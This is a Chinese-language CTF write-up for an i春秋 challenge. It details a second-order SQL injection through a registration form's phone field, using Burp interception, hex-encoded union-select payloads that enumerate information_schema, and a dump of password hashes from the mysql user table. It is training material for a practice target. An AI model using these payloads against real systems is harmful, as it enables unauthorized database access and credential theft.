There only 10 people use the same phone as you(i春秋CTF题解)
(1)访问网址进行CTF测试,仅出现登陆与注册的页面
(2)进行注册尝试登陆并进行burp抓取数据包:
(3)注册成功,进行登陆尝试查看信息是否具有提示,在登录的页面只有两个点击页面,一个为:Check,一个为logout
(4)进入到Check的登录页面,查看是否具有提示信息,果然有提示,发现了一句良心提示,找到思路,让我们对注册页面的电话那一栏进行sql注入操作!
<!-- 听说admin的电话藏着大秘密哦~-->
(5)首先,进行抓包:为了不做重复型的工作,我们可以使用burp的repeater进行包的重复发送
(6)每注册一次,希望能执行一次sql的语句注入,猜想:
请尝试,明文输入sql语句,,这时,你会发现页面提示你:电话必须是数字类型;
请尝试,对sql语句进行16进行编码——最接近数字手机号的操作,,这时,你还会发现页面限制了你的字符数量;
请尝试,对前端代码的字符数字进行修改再注册,发现,可以注册成功。
这就是burp抓包发送数据的好处,不会因为前端代码的限制而被限制
(7)构造sql注入语句:
-1 union select table_schema from information_schema.columns
进行了整个数据库的数据查询,16进制加密为:
0x2d3120756e696f6e2073656c656374207461626c655f736368656d612066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
登录显示结果:
(8)三个库,我们猜想,一般admin或是flag都藏在mysql库中,使用这个库进行查询表的操作:
-1 union select table_name from information_schema.columns where table_schema='mysql'
16进制编码结果为:
0x2d3120756e696f6e2073656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d276d7973716c27
登录页面显示结果如图:
(9)存在一个user表,我们试着查询user表的字段操作:
-1 union select column_name from information_schema.columns where table_schema='mysql' and table_name='user'
16进制编码如下:
0x2d3120756e696f6e2073656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d276d7973716c2720616e64207461626c655f6e616d653d277573657227
(10)发现有一个User与Password的字段,我们可以猜测,flag是否就在这两个字段里面呢?
-1 union select Password from user
0x2d3120756e696f6e2073656c6563742050617373776f72642066726f6d2075736572
额。。似乎查错表了,将就着看吧,,,提示最后的sql注入:
-1 union select phone from user where username=admin
flag{7610c57e-481c-47ad-9316-0323f9eff9af}